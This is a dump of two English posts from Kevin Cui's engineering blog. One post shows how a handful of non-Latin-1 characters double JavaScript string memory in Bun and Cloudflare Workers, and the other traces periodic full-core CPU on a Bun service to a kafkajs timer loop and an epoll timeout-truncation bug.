# Kevin Cui's Blog > Personal blog of Kevin Cui (BlackHole1), co-founder of OOMOL: Electron, Node.js, Go, containers and virtualization, web security and troubleshooting notes, in English and Chinese. - English site: https://bugs.cc/ (RSS: https://bugs.cc/index.xml) - Chinese site: https://bugs.cc/zh/ (RSS: https://bugs.cc/zh/index.xml) - Index of the posts: https://bugs.cc/llms.txt. Each post below starts with a level-1 heading followed by its URL, language, dates and tags. - Content license: CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/) --- # A 6.47 MB JS String Occupied 15.4 MB of Memory - URL: https://bugs.cc/posts/one-character-doubles-js-string-memory/ (Markdown: https://bugs.cc/posts/one-character-doubles-js-string-memory/index.md) - Language: English - Published: 2026-09-04 - Tags: javascript, bun, cloudflare workers - Translation (Chinese): https://bugs.cc/zh/posts/one-character-doubles-js-string-memory/ [open-connector] is an open-source project we work on. It wraps 1,464 third-party APIs (Slack, GitHub, Feishu, and others) behind a single action interface. Each third party is a provider. Which actions it has, and the JSON Schema for each action's input and output, live in a JSON file. Those files are the catalog. The service loads them into memory at startup. We were recently cutting resident memory on its Bun single-file binary, taking RSS after startup from 378 MiB down to 293 MiB ([open-connector#490]). The heap's largest single object turned out to be a JSON string: 6,471,221 characters, 6.47 MB as UTF-8, but 15.4 MB in JavaScriptCore's heap. The reason was that 49 of those 6.47 million characters sit outside Latin-1. I then looked at the Cloudflare Workers heap. Same cause: two characters made a 14.5 MB script occupy 27.6 MiB. Writing it down. **Environment:** - macOS arm64 - Bun 1.4.0 (JavaScriptCore) - Node 26.7.0 (V8) - esbuild 0.28.x, wrangler 4.127.1 ## The symptom At startup the service `JSON.stringify`s a summary of every provider in the catalog (name, description, the list of actions, no schemas) and caches that string as the `/api/providers` response body. Every later request sends it as-is. That string is `providerSummariesJson`, 6,471,221 characters. While looking at memory I used `heapStats()` from `bun:jsc` to compare the heap before and after loading the catalog, then nulled this string on its own. That confirmed it accounted for 15.4 MB by itself. The catalog can be loaded two ways. By default, every provider's JSON Schema is read into memory at startup. It can also keep only names, descriptions, and action lists, and read a schema from its file the first time some action actually needs it. In that second mode the whole JS heap is 26.4 MiB, and this one string is more than half of it. 6.47 MB of text occupying 15.4 MB is roughly 2x. Scan the string for code points above U+00FF: ```js const tally = new Map(); for (const ch of text) { if (ch.codePointAt(0) > 0xff) tally.set(ch, (tally.get(ch) ?? 0) + 1); } ``` ```text chars: 6471221, non-Latin-1 code points: 49 U+2014 "—" x13 U+2022 "•" x12 U+2192 "→" x3 U+8868 "表" x2 U+5E7F "广" x2 ... ``` 49 characters: 13 em dashes, 12 bullets, 3 arrows, and 21 CJK characters from a few providers whose descriptions are in Chinese. Those 49 come from 17 provider files. The other 1,447 files are pure ASCII. Those 49 characters made every character in the string occupy two bytes. ## Why two bytes The ECMAScript spec says a string is a sequence of 16-bit code units. Engines do not actually store two bytes per character. V8 has `SeqOneByteString` and `SeqTwoByteString`. JavaScriptCore's `StringImpl` has an `is8Bit()` 8-bit form and a 16-bit form. The rule is the same: if every character in the string is at most U+00FF, store one byte per character. If any character is above that, store the whole string two bytes per character. In V8's source that ceiling is `kMaxOneByteCharCode = 0xFF`. The ceiling is Latin-1, not ASCII. `é` (U+00E9) is not ASCII, but its code point is still at most U+00FF, so it stays one byte. What actually forces the whole string to two bytes is anything above U+00FF: an em dash (U+2014), a bullet (U+2022), an arrow (U+2192), CJK, emoji. Mix one CJK character into 6.47 million others and the whole string doubles. A script to check. Eight million ASCII characters, then one `é` or one `中` on the end, and see how much the heap grows: ```js title="demo.mjs" function heap() { globalThis.gc(); globalThis.gc(); return v8.getHeapStatistics().used_heap_size; } function build(extra) { const s = "abcdefgh".repeat(1_000_000) + extra; s.charCodeAt(s.length - 1); // flatten the rope, see below // [!code highlight] return s; } const base = heap(); const ascii = build(""); const h1 = heap(); const latin = build("é"); const h2 = heap(); const cjk = build("中"); const h3 = heap(); console.log(`8,000,000 x ASCII : heap +${((h1 - base) / 1048576).toFixed(1)} MiB`); console.log(`same + one "é" (U+00E9) : heap +${((h2 - h1) / 1048576).toFixed(1)} MiB`); console.log(`same + one "中" (U+4E2D) : heap +${((h3 - h2) / 1048576).toFixed(1)} MiB`); globalThis.keep = [ascii, latin, cjk]; ``` ```text $ node --expose-gc demo.mjs 8,000,000 x ASCII : heap +7.6 MiB same + one "é" (U+00E9) : heap +7.6 MiB same + one "中" (U+4E2D) : heap +15.3 MiB ``` Swap `heap()` for `Bun.gc(true)` plus `process.memoryUsage().heapUsed` and Bun 1.4.0 prints the same three numbers: 7.6, 7.6, 15.3. Both engines agree. ![Paste text to see characters above Latin-1 and the estimated heap size](https://bugs.cc/images/one-character-doubles-js-string-memory/string-memory.png) Characters above Latin-1 are marked in red. V8 can also print the type: ```text $ node --allow-natives-syntax -e '%DebugPrint("abc" + "é"); %DebugPrint("abc" + "中")' DebugPrint: 0xd0faee56981: [String] in OldSpace: "abc\xe9" - type: SEQ_ONE_BYTE_STRING_TYPE DebugPrint: 0xd0faee56999: [String] in OldSpace: u"abc\u4e2d" - type: SEQ_TWO_BYTE_STRING_TYPE ``` That `charCodeAt` in the script is required. `a + b` does not copy immediately in either engine. It builds a rope (V8 calls it `ConsString`, JSC calls it `JSRopeString`), and each half keeps its original representation. The eight million ASCII characters are still one-byte at that point. Index it, run a regexp, call `indexOf`, or write it as an HTTP response body, and the engine flattens the rope into a contiguous buffer. That is when the widest character decides the width of the whole thing. Without that line, all three numbers are 7.6. `%DebugPrint` can show the rope itself: ```text $ node --allow-natives-syntax -e 'const s = "abcdefgh".repeat(4) + "中"; %DebugPrint(s)' DebugPrint: 0x1be004ae841: [String]: uc"abcdefghabcdefghabcdefghabcdefgh\u4e2d" - type: CONS_TWO_BYTE_STRING_TYPE ``` The `c` in the prefix means cons. The moment of concatenation, V8 already tags this rope as two-byte, because the right half is two-byte. The ASCII characters on the left still sit in their original one-byte buffer. The actual recopy at two bytes happens when the rope is flattened. Both engines' rules are in the source. V8's `String` class comments restate the spec, then give the one-byte ceiling and the two sequential character types ([string.h], [unicode.h]): ```cpp title="v8/src/objects/string.h" group // The String abstract class captures JavaScript string values: // // Ecma-262: // 4.3.16 String Value // A string value is a member of the type String and is a finite // ordered sequence of zero or more 16-bit unsigned integer values. V8_OBJECT class String : public Name { // ... // Max char codes. static const int32_t kMaxOneByteCharCode = unibrow::Latin1::kMaxChar; // [!code highlight] static const int kMaxUtf16CodeUnit = 0xffff; }; V8_OBJECT class SeqOneByteString : public SeqString { static const bool kHasOneByteEncoding = true; using Char = uint8_t; // [!code highlight] }; V8_OBJECT class SeqTwoByteString : public SeqString { static const bool kHasOneByteEncoding = false; using Char = uint16_t; // [!code highlight] }; ``` ```cpp title="v8/src/strings/unicode.h" group class Latin1 { public: static const uint16_t kMaxChar = 0xff; }; ``` In WebKit, one `StringImpl` carries a flag, and the data pointer is a union. A given string is only one of the two at a time ([StringImpl.h]): ```cpp title="WebKit/Source/WTF/wtf/text/StringImpl.h" static constexpr const unsigned s_hashFlag8BitBuffer = 1u << 2; // ... bool is8Bit() const { return m_hashAndFlags & s_hashFlag8BitBuffer; } // [!code highlight] // ... std::atomic m_refCount; unsigned m_length; union { // [!code highlight:4] const Latin1Character* m_data8; const char16_t* m_data16; }; ``` `JSON.stringify` does not escape non-ASCII. It only escapes quotes, backslashes, control characters, and lone surrogates. So if the JSON contains a Chinese description, the entire `JSON.stringify` result is two-byte, whether or not the rest is ASCII. `JSON.parse` is not affected. Each string value it produces is its own string and picks a representation on its own: ```text $ node --allow-natives-syntax -e 'const o = JSON.parse(`{"a":"abcdefghabcdefgh","b":"abcdefghabcdefgh中"}`); %DebugPrint(o.a); %DebugPrint(o.b)' DebugPrint: 0x19f36672e771: [String]: "abcdefghabcdefgh" - type: SEQ_ONE_BYTE_STRING_TYPE DebugPrint: 0x19f36672e791: [String]: u"abcdefghabcdefgh\u4e2d" - type: SEQ_TWO_BYTE_STRING_TYPE ``` So after the catalog is parsed into objects, only the description fields on those 17 providers that contain CJK or em dashes are two-byte. Everything else stays one-byte. The doubling happens only on the serialized blob. ## The fix This string has one job: go out as an HTTP response body, unchanged. It has to become UTF-8 bytes on the way out anyway, so encode it at startup and keep a `Uint8Array` on the heap: ```ts title="src/catalog-store.ts" del={2} ins={3-4} return { providerSummariesJson, // TextEncoder rather than Buffer: the Cloudflare Workers build shares this function. providerSummariesJson: new TextEncoder().encode(providerSummariesJson), providerSummariesEtag: weakEtag(providerSummariesJson), ``` A `Uint8Array` lives in an `ArrayBuffer`. Counted in bytes, 6.47 MB is 6.47 MB. `/api/providers` sends an ETag. Browsers and CDNs use it to decide whether a cached copy is still valid. The value is a hash of the JSON string, over UTF-16 code units, not UTF-8 bytes. Hash the bytes instead and every client that already cached this endpoint will treat the body as new and pull 6.47 MB again. So the hash still runs on the string, and the string can be dropped afterwards. Before the change the ETag was `W/"62be35-aa331d99"`. After the change it is still that value, and the response body is byte-for-byte identical. The result: with only names, descriptions, and action lists kept in memory, the JSC heap went from 26.4 MiB to 17.2 MiB. The default path, which also keeps schemas in memory, went from 74.7 MiB to 65.5 MiB. On macOS, though, `ps` still reported the same RSS. Bun's allocator is mimalloc, which does not return freed pages to the OS right away, so the number `ps` shows does not drop with them. If you have to keep a string, another option is to write the non-ASCII characters as `\uXXXX` in the JSON text. That is still valid JSON, the parsed values do not change, the 49 characters cost five extra characters each, and the whole string goes back to one byte. I tried it on this catalog (the string had grown to 6,472,664 characters) and hit a snag: ```js const escaped = json.replace(/[\u0100-\uffff]/g, (c) => "\\u" + c.charCodeAt(0).toString(16).padStart(4, "0")); ``` ```text json : 6,472,664 chars, heap +12.34 MiB, SEQ_TWO_BYTE_STRING_TYPE escaped = json.replace(...) : 6,472,909 chars, heap +12.35 MiB, SEQ_TWO_BYTE_STRING_TYPE JSON.parse(JSON.stringify(escaped)) : 6,472,909 chars, heap +6.17 MiB, SEQ_ONE_BYTE_STRING_TYPE ``` After escaping there is no code point above U+00FF left, but the result of `replace()` is still two-byte. Both engines explain why. V8's `replace` with a callback goes through `Runtime_RegExpReplaceRT`. The result is built from substrings of the original and each replacement ([runtime-regexp.cc]): ```cpp title="v8/src/runtime/runtime-regexp.cc" RUNTIME_FUNCTION(Runtime_RegExpReplaceRT) { // ... const bool functional_replace = IsCallable(*replace_obj); // ... IncrementalStringBuilder builder(isolate); // ... if (position >= next_source_position) { builder.AppendString( // [!code highlight:3] factory->NewSubString(string, next_source_position, position)); builder.AppendString(replacement); ``` `NewSubString` taken from a two-byte `string` is still two-byte. It keeps the parent's representation and does not look at the contents. Once `IncrementalStringBuilder` has appended a two-byte piece it switches to two-byte and never switches back. If the subject is two-byte, the result is two-byte. JSC's `replace` always ends in `jsSpliceSubstringsWithSeparators`. It only looks at the source string's flag and each replacement's flag ([StringPrototypeInlines.h]): ```cpp title="WebKit/Source/JavaScriptCore/runtime/StringPrototypeInlines.h" bool allSeparators8Bit = true; for (int i = 0; i < separatorCount; i++) { totalLength += separators[i].length(); if (separators[i].length() && !separators[i].is8Bit()) allSeparators8Bit = false; } // ... if (source.is8Bit() && allSeparators8Bit) { // [!code highlight] std::span buffer; auto impl = StringImpl::tryCreateUninitialized(totalLength, buffer); ``` `source.is8Bit()` is a flag set when the source string was created. The 49 characters that were replaced are gone from the result, but the flag is not, so the result still allocates a 16-bit buffer. Both engines do the same thing: a string derived from another string inherits its width. To make the engine pick a representation from the contents, you have to build a new string, for example `JSON.parse(JSON.stringify(escaped))`, or encode to bytes and decode back. Then it is 6.17 MiB. Bun prints the same three numbers. We did not take this path. Storing bytes is more direct, and there is another reason: keeping a string means encoding it again on every response. `TextEncoder.encode()` on 6.47 MB measured 3.1 ms on the macOS arm64 machine above. Bytes can be written straight to the socket. One more measurement pitfall. In Node, a large string from `TextDecoder.decode()` is `EXTERNAL_TWO_BYTE_STRING_TYPE`. The data sits outside the V8 heap. `v8.getHeapStatistics().used_heap_size` does not see it. You have to look at `process.memoryUsage().external`. The first time I measured it, heap growth was 0. I had just missed this. ## Script source on Cloudflare Workers The same open-connector codebase also runs on Cloudflare Workers. Each Worker script runs in a V8 isolate. The isolate heap is capped at 128 MB. Go over that and the whole isolate is torn down and rebuilt. After shrinking the binary I checked how much this side actually used: start the service with `wrangler dev`, then send `Runtime.getHeapUsage` and `HeapProfiler.takeHeapSnapshot` over the inspector port. The production shape (`wrangler deploy --minify`) sits at 88.7 MiB at steady state. The largest node in the snapshot is a 27.63 MiB string: the entire Worker script source. The script file itself is 14.5 MB. V8 keeps script source on the heap for as long as the isolate lives, because compilation is lazy. Load time only pre-parses. A function is compiled the first time it runs, and bytecode for functions that have not run in a while can be dropped and recompiled from source on the next call. So the source has to stay. Which representation the source uses when it enters the isolate is in workerd (the open-source Workers runtime), in [modules-new.c++]: ```cpp title="workerd/src/workerd/jsg/modules-new.c++" // The source text of an ES module in the representation handed to V8 for // compilation. V8 has no internal UTF-8 string representation — strings are // either one-byte (Latin-1) or two-byte (UTF-16). Worker bundle sources arrive // as UTF-8 bytes, so each module's source is encoded once, lazily, on first // compile, and the result is shared by every isolate that compiles the module: // // * Pure-ASCII source (the overwhelmingly common case — bundlers typically // escape non-ASCII): the original buffer directly backs a one-byte external // string. Zero copies. // * Non-ASCII source whose code points all fit in Latin-1: transcoded once to // a one-byte buffer, matching the representation V8 itself would choose for // the same text. // * Anything else (CJK, emoji, ...): transcoded once to UTF-16. // ... EncodedSource transcodeSource(kj::ArrayPtr source) { if (simdutf::validate_utf8(source.begin(), source.size())) { // Valid UTF-8. Prefer the half-size Latin-1 representation when every code // point permits it. The buffer is sized exactly, so with already-validated // input a zero return can only mean some code point exceeds U+00FF. auto latin1 = kj::heapArray(simdutf::latin1_length_from_utf8(source.begin(), source.size())); if (simdutf::convert_utf8_to_latin1(source.begin(), source.size(), latin1.begin()) != 0) { // [!code highlight] return {.repr = kj::arc(kj::mv(latin1))}; } auto utf16 = kj::heapArray(simdutf::utf16_length_from_utf8(source.begin(), source.size())); // ... return {.repr = kj::arc(kj::mv(utf16))}; // [!code highlight] } // ... } ``` The comment mentions that bundlers typically escape non-ASCII. The old module registry uses `v8::String::NewFromUtf8`, with the same representation rule. 14,483,642 characters times 2 is exactly 27.63 MiB. Source does not have to be stored two-byte. Scan the 14.5 MB script and there are only two code points above U+00FF: a `✗` (U+2717) and a `✓` (U+2713), both in the regexes the Pi-hole provider uses to parse CLI output: ```ts title="src/providers/pi_hole/runtime.ts" function readGravityStatus(text: string): string | null { if (/\[✗\]|\berror\b|\bfatal\b|\bfailed\b/i.test(text)) { return "failed"; } if (/\[✓\]\s*done|\bdone\.?\s*$/im.test(text.trimEnd())) { return "success"; } return null; } ``` The rest of the codebase is full of Chinese strings. Why only these two left? Because esbuild's default [charset] is `ascii`. When it prints a string literal, characters above 0xFF become `\uXXXX`, and 0x80 to 0xFF become `\xXX`. A regexp literal in the printer is one `p.print(e.Value)`, copied as-is ([js_printer.go]): ```go title="js_printer.go: string literals" group // Is this an unpaired low surrogate or four-digit hex escape? case (c >= firstLowSurrogate && c <= lastLowSurrogate) || (p.options.ASCIIOnly && c > 0xFF): // [!code highlight] js = append(js, '\\', 'u', hexChars[c>>12], hexChars[(c>>8)&15], hexChars[(c>>4)&15], hexChars[c&15]) // Can this be a two-digit hex escape? case p.options.ASCIIOnly: js = append(js, '\\', 'x', hexChars[c>>4], hexChars[c&15]) ``` ```go title="js_printer.go: regexp literals" group case *js_ast.ERegExp: // ... p.addSourceMapping(expr.Loc) p.print(e.Value) // [!code highlight] ``` The docs say the same: non-ASCII in regexes is not escaped, because esbuild does not parse regex contents. So: ```js const ok = "[✓] done"; const re = /\[✓\]\s*done/; ``` ```js // esbuild --minify const o="[\u2713] done",e=/\[✓\]\s*done/; ``` Those two characters made V8 store the entire 14.5 MB script two-byte, 27.63 MiB. So the regexes got handwritten escapes too ([open-connector#493]): ```ts title="src/providers/pi_hole/runtime.ts" del={2,6} ins={3,7} function readGravityStatus(text: string): string | null { if (/\[✗\]|\berror\b|\bfatal\b|\bfailed\b/i.test(text)) { if (/\[\u2717\]|\berror\b|\bfatal\b|\bfailed\b/i.test(text)) { return "failed"; } if (/\[✓\]\s*done|\bdone\.?\s*$/im.test(text.trimEnd())) { if (/\[\u2713\]\s*done|\bdone\.?\s*$/im.test(text.trimEnd())) { return "success"; } return null; } ``` The regexes mean the same thing. The source text is pure ASCII again. Same machine, same build, measured before and after: ```text isolate heap, before first request : 40.56 MiB -> 26.74 MiB isolate heap, steady state after full GC: 88.69 MiB -> 74.82 MiB ``` The 13.8 MiB saved is exactly the size of the script file. I also added a test that walks every regexp literal under `src/` and reports file and line if it sees a character above U+00FF. If anyone puts an arrow in a regex literal again, CI fails first. Two more notes: - The Bun single-file binary mentioned earlier ships 30 MB of JS and does not have this problem. When the target is `bun`, Bun's bundler escapes all non-ASCII, including inside regexp literals, and the output is pure ASCII. Point the same file at `browser` or `node` and it is copied as-is, like esbuild: ```text $ bun build --minify --target=bun in.js var o="[\u2713] done",e=/\[\u2713\]\s*done/;export{o as ok,e as re}; $ bun build --minify --target=browser in.js var o="[✓] done",e=/\[✓\]\s*done/;export{o as ok,e as re}; ``` So in the binary, the thing that doubled was a data string. On Workers, it was the source. - A `wrangler dev` build without `--minify` has 2,909 non-Latin-1 characters, most of them in comments, and the source string is 58 MiB. Measure Worker memory on the production shape. The dev numbers are not useful. ## How to check To see whether a string will be stored two-byte: ```js /[^\u0000-\u00ff]/u.test(s); ``` On V8 you can print the type: `node --allow-natives-syntax`, then `%DebugPrint(s)`, and look for `SEQ_ONE_BYTE_STRING_TYPE` or `SEQ_TWO_BYTE_STRING_TYPE`. In a DevTools heap snapshot, if a string's shallow size is about twice its length, it is two-byte. Places this shows up: - Large JSON response bodies cached in memory. Anything with a Chinese description or an em dash is almost certainly two-byte. - Runtimes that keep source on the heap, such as a Workers V8 isolate. Bundlers escape string literals. They do not escape regexes or comments. - i18n catalogs, templates, Markdown, any large text that is non-ASCII by nature. Two easy traps: operations that derive a new string from an old one, such as `replace()` and `slice()`, keep the old string's width. After escaping you have to build a new string for the change to take. External strings from `TextDecoder` are not in V8's heap stats. Include `external` when you look at the heap. ## Closing The catalog now stores a `Uint8Array`. The Worker regexes are written with `\uXXXX`. With only names, descriptions, and action lists kept in memory, the JSC heap went from 26.4 MiB to 17.2 MiB. The Worker isolate at steady state went from 88.7 MiB to 74.8 MiB. [open-connector]: https://github.com/oomol-lab/open-connector [open-connector#490]: https://github.com/oomol-lab/open-connector/pull/490 [open-connector#493]: https://github.com/oomol-lab/open-connector/pull/493 [string.h]: https://github.com/v8/v8/blob/main/src/objects/string.h [unicode.h]: https://github.com/v8/v8/blob/main/src/strings/unicode.h [runtime-regexp.cc]: https://github.com/v8/v8/blob/main/src/runtime/runtime-regexp.cc [StringPrototypeInlines.h]: https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/runtime/StringPrototypeInlines.h [js_printer.go]: https://github.com/evanw/esbuild/blob/main/internal/js_printer/js_printer.go [StringImpl.h]: https://github.com/WebKit/WebKit/blob/main/Source/WTF/wtf/text/StringImpl.h [modules-new.c++]: https://github.com/cloudflare/workerd/blob/main/src/workerd/jsg/modules-new.c++ [charset]: https://esbuild.github.io/api/#charset --- # Troubleshooting Periodic 100% CPU on a Bun Service - URL: https://bugs.cc/posts/troubleshooting-bun-kafkajs-cpu-spin/ (Markdown: https://bugs.cc/posts/troubleshooting-bun-kafkajs-cpu-spin/index.md) - Language: English - Published: 2026-08-25 - Tags: bun, kafka - Translation (Chinese): https://bugs.cc/zh/posts/troubleshooting-bun-kafkajs-cpu-spin/ A few days ago we hit a fairly interesting production issue. A Bun service was periodically pegging one CPU core across three pods, for exactly 10 minutes each time, then dropping back on its own. The service itself was fine: requests worked, health checks never failed. The CPU graph just looked awful. It turned out to be two problems that are each pretty mild on their own, stacked on a specific kernel version and a specific Bun patch release. Writing it down. **Environment:** - Bun 1.3.14 (pinned in the Dockerfile) - kafkajs 2.2.4 - Kubernetes node kernel 5.10.134 Repro: [bun-epoll-timer-spin-repro]. I'll come back to this later. ## The symptom ![Minute-level CPU of three pods on one day](https://bugs.cc/images/troubleshooting-bun-kafkajs-cpu-spin/cpu-day.png) Minute-level CPU for the three pods on one day. The vertical lines at the bottom are Kafka produces; more on that later. A few things stand out: - The plateau sits at 0.99 cores and never goes above 1.0. Only one thread is busy. - Every stretch is a multiple of 600 seconds. It jumps up and down within a single scrape interval, not a gradual climb. - All three pods often start the stretch together. - Almost nothing overnight. It tracks traffic. - During a spike, user is about 2/3 and sys about 1/3. Network, fd count, and memory look the same as a quiet period. That last point already rules a lot out. We weren't chewing through large payloads, and it wasn't pure JS compute (sys wouldn't be that high). It looked like a busy loop that still makes syscalls. I first wondered if a worker was stuck in a tight loop on some job. But over 24 hours, every log related to job timeouts, retries, and heartbeats was zero. Busy periods and idle periods produced almost the same amount of logs. It also wasn't introduced by a deploy: every one of the 16 days we have metrics for looks the same. ## Reading /proc in the pod Can't poke production casually, and there's no perf in the container, so I `kubectl exec`'d and read `/proc`. That's fully read-only. Diff utime/stime of every thread in `/proc//task/*/stat` over 3 seconds and find the hot one. During a spike (100 ticks = one core): ```text tid comm d_utime d_stime 8 bun 197 100 95 HTTP 0 0 9 bun 0 0 16 Bun 0 0 15 Bun 0 0 14 Bun 0 0 13 Bun 0 0 12 HeapHelper 0 0 11 HeapHelper 0 0 10 HeapHelper 0 0 ``` The hot thread is the main thread (the one where tid equals pid). Then I sampled `/proc//task//syscall` as fast as I could. The first column is the syscall number the thread is currently in[^syscall-numbers], followed by six arguments. When the thread is in userspace, the file says `running`: ```sh i=0 while [ $i -lt 3000 ]; do cat /proc/8/task/8/syscall >> /tmp/sc.txt i=$((i+1)) done # which syscall it is blocked on awk '{print $1}' /tmp/sc.txt | sort | uniq -c | sort -rn # epoll_pwait timeout (4th argument, i.e. column 5) awk '$1 == 281 {print $5}' /tmp/sc.txt | sort | uniq -c | sort -rn ``` Idle: ```text 2969 281 29 running 2 202 1850 0x63 325 0x53 201 0x56 192 0x57 90 0x5d ``` 2969 of 3000 samples were sitting in syscall 281, `epoll_pwait`, with a timeout of tens to hundreds of milliseconds. Normal. One detail: 441 (`epoll_pwait2`) never showed up at all. That matters later. During a spike: ```text 2979 running 21 281 21 0x1 ``` Almost entirely in userspace. The rare times it was in `epoll_pwait`, the timeout was 1ms. Then `/proc//net/tcp`: 4 connections when idle (Redis, Postgres). During a spike, two extra connections to port 9095, the Kafka broker. ## Every spike was a Kafka send The service publishes metering events with kafkajs. I pulled 48 hours of logs that trigger a Kafka produce and lined them up against 115 CPU stretches: - Every stretch starts within -13s to +1s of the nearest produce (within scrape jitter) - Every stretch ends 600s to 611s after the last produce in that stretch - The other way around: all 373 produces fall inside some stretch. None missed. 600s is the default `connections.max.idle.ms` on a Kafka broker: the broker closes a connection after 10 minutes idle. So the length of a CPU stretch is the lifetime of one Kafka connection. The three pods spiked together because one user's batch of jobs landed on three machines, each of which sent a message within a few seconds. ## The 1ms setTimeout in kafkajs kafkajs 2.2.4, `src/network/requestQueue/index.js`: ```js checkPendingRequests() { while (this.pending.length > 0 && this.canSendSocketRequestImmediately()) { // ... } this.scheduleCheckPendingRequests() // [!code highlight] } scheduleCheckPendingRequests() { let scheduleAt = this.throttledUntil - Date.now() // [!code highlight] if (!this.throttleCheckTimeoutId) { if (this.pending.length > 0) { scheduleAt = scheduleAt > 0 ? scheduleAt : CHECK_PENDING_REQUESTS_INTERVAL } this.throttleCheckTimeoutId = setTimeout(() => { // [!code highlight:4] this.throttleCheckTimeoutId = null this.checkPendingRequests() }, scheduleAt) } } ``` `checkPendingRequests` always calls `scheduleCheckPendingRequests`. When pending is empty and there's no throttle, that still arms a `setTimeout`, whose callback calls `checkPendingRequests` again. `throttledUntil` starts at -1, so `scheduleAt` is a huge negative number. Both Node and Bun treat a negative delay as 1ms. So from the first response on a broker connection, that connection runs a 1ms `setTimeout` loop until `destroy()` is called. And `destroy()` only runs when the connection drops. This has been reported upstream ([kafkajs#1556], [kafkajs#1704]). A fix PR has been sitting around for a long time ([kafkajs#1572]) and never landed. We had already patched it in our repo, but the patch only clamped the negative value with `Math.max(1, scheduleAt || 1)`, which keeps the 1ms loop around instead of killing it. Still: a 1ms `setTimeout` loop is maybe 2% CPU on Node. Why does it peg a whole core? ## Why Bun pegs a whole core The event loop. Bun 1.3.14, `packages/bun-usockets/src/eventing/epoll_kqueue.c`: ```c // [!code word:tv_nsec / 1000000] static int bun_epoll_pwait2(int epfd, struct epoll_event *events, int maxevents, const struct timespec *timeout) { if (has_epoll_pwait2 != 0) { // ... sys_epoll_pwait2(...) } int timeoutMs = -1; if (timeout) { timeoutMs = timeout->tv_sec * 1000 + timeout->tv_nsec / 1000000; } do { ret = epoll_pwait(epfd, events, maxevents, timeoutMs, &mask); } while (IS_EINTR(ret)); return ret; } ``` Bun prefers `epoll_pwait2`, which takes a nanosecond `timespec`. `epoll_pwait2` only exists since Linux 5.11; Bun checks the kernel version and falls back to `epoll_pwait` with a millisecond timeout below that. The bug is `tv_nsec / 1000000`: it truncates toward zero. A 1ms timer re-arms itself in its own callback. The event loop computes how long to wait next: 0.9x ms left, truncated to 0, `epoll_pwait(…, 0)` returns immediately, compute again, still 0, spin until the timer fires. Then the callback arms a new 1ms timer, and around we go. That matches `/proc`: the main thread never called `epoll_pwait2`, because our nodes are 5.10.134. The `0x1` samples during a spike are the one call per round that actually sleeps. The timeout-0 calls return immediately, so you almost never catch them. The truncation has been there since 1.3.11. Only 1.3.14 blows up. The difference is [bun#29806] in 1.3.14: `timespec.now()` switched from `CLOCK_MONOTONIC_COARSE` on Linux to a nanosecond `hw_timer` (rdtsc). The old clock is jiffy-granularity, milliseconds. Remaining time on a 1ms timer is either a full 1ms or already due. You never see 0.9ms, so truncation never produces 0. After the nanosecond clock, that old truncation finally got hit. Upstream fixed it in [bun#34780] (round up instead). That only shipped in 1.4.0; there were no more 1.3.x releases after 1.3.14. So the only affected version is 1.3.14, and only on kernels without `epoll_pwait2`. ## Reproducing it locally You don't need a 5.10 machine. Docker seccomp can make a syscall return ENOSYS. When Bun sees `epoll_pwait2` return ENOSYS, it takes the same fallback path: ```json { "defaultAction": "SCMP_ACT_ALLOW", "syscalls": [ { "names": ["epoll_pwait2"], "action": "SCMP_ACT_ERRNO", "errnoRet": 38 } ] } ``` The full repro is in [bun-epoll-timer-spin-repro], Docker only: ```sh git clone https://github.com/BlackHole1/bun-epoll-timer-spin-repro.git cd bun-epoll-timer-spin-repro ./run.sh ``` It runs Bun 1.3.13 / 1.3.14 / 1.4.0, with and without `epoll_pwait2`, on three timer setups: a plain `setTimeout(fn, 1)`, a plain `setTimeout(fn, 10)`, and constructing kafkajs's `RequestQueue` then calling `checkPendingRequests()` once (no real Kafka). Each case runs 5 seconds and reports timer fire rate plus CPU: ```text {11,13} bun epoll_pwait2 mode iter/s user% sys% 1.3.13 available timer1 330 1.2 1.4 1.3.13 available timer10 84 1.4 0.8 1.3.13 available kafkajs 327 2.2 0.9 1.3.13 blocked timer1 327 1.7 1.1 1.3.13 blocked timer10 84 1.5 1.2 1.3.13 blocked kafkajs 321 2.3 1.5 1.3.14 available timer1 336 1.2 0.7 1.3.14 available timer10 85 1 0.2 1.3.14 available kafkajs 335 2.3 0.7 1.3.14 blocked timer1 996 56 43.5 1.3.14 blocked timer10 92 2 0.7 1.3.14 blocked kafkajs 993 62.9 36.6 1.4.0 available timer1 334 1.3 1.6 1.4.0 available timer10 86 0.8 0.4 1.4.0 available kafkajs 337 2 1.3 1.4.0 blocked timer1 338 1 1.1 1.4.0 blocked timer10 85 0.7 0.5 1.4.0 blocked kafkajs 334 1.3 1.1 ``` Only 1.3.14 with the syscall blocked pegs a core. So this isn't really about kafkajs. Any 1ms `setTimeout` loop does the same thing on that combination. strace over 2 seconds: 148k times `epoll_pwait(4, [], 1024, 0, [], 8) = 0 <0.000001>`, 6 to 7 µs apart. That's the 2/3 user + 1/3 sys. ## The fix Patch kafkajs: if pending is empty and there's no throttle, don't schedule a timer. Everything else stays. ```diff lang="js" if (this.pending.length > 0) { scheduleAt = scheduleAt > 0 ? scheduleAt : CHECK_PENDING_REQUESTS_INTERVAL } - // Prevent negative or invalid delays - scheduleAt = Math.max(1, scheduleAt || 1) + if (scheduleAt <= 0) { + return + } this.throttleCheckTimeoutId = setTimeout(() => { ``` In the repro, CPU went from 99% to 0.2%. Two extra things while I was there: - Pinned kafkajs from `^2.2.4` to exact `2.2.4`. Bun's `patchedDependencies` matches on the key `kafkajs@2.2.4`. If the lockfile resolves a different version, Bun silently skips the patch, `bun install` exits 0, and it doesn't say a word. - Added a test that imports `kafkajs/src/network/requestQueue/index.js` directly and asserts that an empty pending queue does not arm a timer. If the patch ever disappears, the test fails first. The patch is already in production. The periodic one-core spikes are gone. Once we move to Bun 1.4.0, this combination won't come back even if the patch gets dropped. [^syscall-numbers]: Syscall numbers depend on the architecture. On x86_64 the table is [syscall_64.tbl] in the kernel tree; if the box has auditd, `ausyscall x86_64 281` works too. These are the ones that show up later: ```text 202 futex 281 epoll_pwait 441 epoll_pwait2 ``` On arm64, `epoll_pwait` is 22. `epoll_pwait2` is one of the newer syscalls that got a single number across architectures: 441 everywhere. [syscall_64.tbl]: https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl [bun-epoll-timer-spin-repro]: https://github.com/BlackHole1/bun-epoll-timer-spin-repro [kafkajs#1556]: https://github.com/tulios/kafkajs/issues/1556 [kafkajs#1704]: https://github.com/tulios/kafkajs/issues/1704 [kafkajs#1572]: https://github.com/tulios/kafkajs/pull/1572 [bun#34780]: https://github.com/oven-sh/bun/pull/34780 